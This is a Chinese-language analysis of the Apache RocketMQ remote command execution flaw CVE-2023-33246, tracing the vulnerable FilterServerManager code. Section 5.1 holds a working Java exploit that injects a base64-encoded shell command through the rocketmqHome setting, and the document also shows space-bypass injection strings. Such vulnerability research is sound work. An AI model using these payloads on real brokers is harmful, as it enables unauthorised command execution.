Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析
本文转自Sunflower@知道创宇404实验室 并作补充
1.漏洞介绍
Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。
2.漏洞版本
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
3.环境搭建
使用docker拉取漏洞环境
1 docker pull apache/rocketmq:4.9.5
运行docker run命令,搭建docker环境
1 2 docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
docker ps检查docker正常启动即可
4.RocketMQ简介
我们平时使用一些体育新闻软件,会订阅自己喜欢的一些球队板块,当有作者发表文章到相关的板块,我们就能收到相关的新闻推送。
发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。
4.1 RocketMQ的部署模型
Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?
4.2 名字服务器 NameServer
NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。
主要包括两个功能: Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活; 路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。
4.3 代理服务器 Broker
Broker主要负责消息的存储、投递和查询以及服务高可用保证。
NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。
在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。
4.4 消息收发
在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。
代码中指定Name Server地址,多个namesrv地址之间用分号分割
1 2 producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876" ); consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876" );
Java启动参数中指定Name Server地址
1 -Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876
环境变量指定Name Server地址
1 export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876
4.5 漏洞主要涉及的类的介绍 4.5.1 DefaultMQAdminExt
DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。
DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。
例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):
1 2 3 4 5 public void updateBrokerConfig (String brokerAddr, Properties properties) throws RemotingConnectException, RemotingSendRequestException, RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException { defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties); }
4.5.2 FilterServerManager
在 Apache RocketMQ 中,FilterServerManager 类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。
5.漏洞分析
补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:
在Broker启动时执行sh mqbroker…,调用到BrokerStartup类:
在该类中继续调用到BrokerController中的start()方法
继续跟进
最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public void start () { this .scheduledExecutorService.scheduleAtFixedRate(new Runnable () { @Override public void run () { try { FilterServerManager.this .createFilterServer(); } catch (Exception e) { log.error("" , e); } } }, 1000 * 5 , 1000 * 30 , TimeUnit.MILLISECONDS); } public void createFilterServer () { int more = this .brokerController.getBrokerConfig().getFilterServerNums() - this .filterServerTable.size(); String cmd = this .buildStartCommand(); for (int i = 0 ; i < more; i++) { FilterServerUtil.callShell(cmd, log); } } private String buildStartCommand () { String config = "" ; if (BrokerStartup.configFile != null ) { config = String.format("-c %s" , BrokerStartup.configFile); } if (this .brokerController.getBrokerConfig().getNamesrvAddr() != null ) { config += String.format(" -n %s" , this .brokerController.getBrokerConfig().getNamesrvAddr()); } if (RemotingUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s" , this .brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s" , this .brokerController.getBrokerConfig().getRocketmqHome(), config); } }
根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,
1 2 3 4 5 6 7 8 9 10 11 12 public void start () { this .scheduledExecutorService.scheduleAtFixedRate(new Runnable () { @Override public void run () { try { FilterServerManager.this .createFilterServer(); } catch (Exception e) { log.error("" , e); } } }, 1000 * 5 , 1000 * 30 , TimeUnit.MILLISECONDS); }
到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。
但是要想成功触发命令执行还有两个问题需要解决一下:
1、在createFilterServer方法中,more的值要大于0才会触发callShell方法
1 2 3 4 5 6 7 8 public void createFilterServer () { int more = this .brokerController.getBrokerConfig().getFilterServerNums() - this .filterServerTable.size(); String cmd = this .buildStartCommand(); for (int i = 0 ; i < more; i++) { FilterServerUtil.callShell(cmd, log); } }
这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:
1 2 3 4 5 6 7 Properties properties = new Properties ();properties.setProperty("filterServerNums" ,"1" ); ... DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt ();... defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911" , props); ...
2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void callShell (final String shellString, final InternalLogger log) { Process process = null ; try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK" , shellString); } catch (Throwable e) { log.error("CallShell: readLine IOException, {}" , shellString, e); } finally { if (null != process) process.destroy(); } }
意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。
sh {可控}/bin/startfsrv.sh ...
如果传入 -c curl 127.0.0.1;
那么comArray为 ['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']
这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:
'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'
很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:
'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'
但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:
-c $@|sh . echo curl 127.0.0.1;
$@
作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。
感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法:
顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:
-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
5.1 payload构造
根据上面的知识,最终构造的payload为:
1 2 3 4 5 6 7 8 Properties properties = new Properties ();properties.setProperty("filterServerNums" ,"1" ); properties.setProperty("rocketmqHome" ,"-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";" ); DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt ();defaultMQAdminExt.setNamesrvAddr("localhost:9876" ); defaultMQAdminExt.start(); defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911" , properties); defaultMQAdminExt.shutdown();
5.2 漏洞验证
使用payload进行curl dnslog,每隔30s左右收到一次请求:
5.3 漏洞修复
在修复版本4.9.6和5.1.1中都是直接删除了filter server模块
5.4 影响范围统计
使用Zoomeye[5]进行搜索,得到ip结果34348条:https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。
6.参考链接
[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn
[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc
[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec
[4] https://github.com/I5N0rth/CVE-2023-33246
[5] https://www.zoomeye.org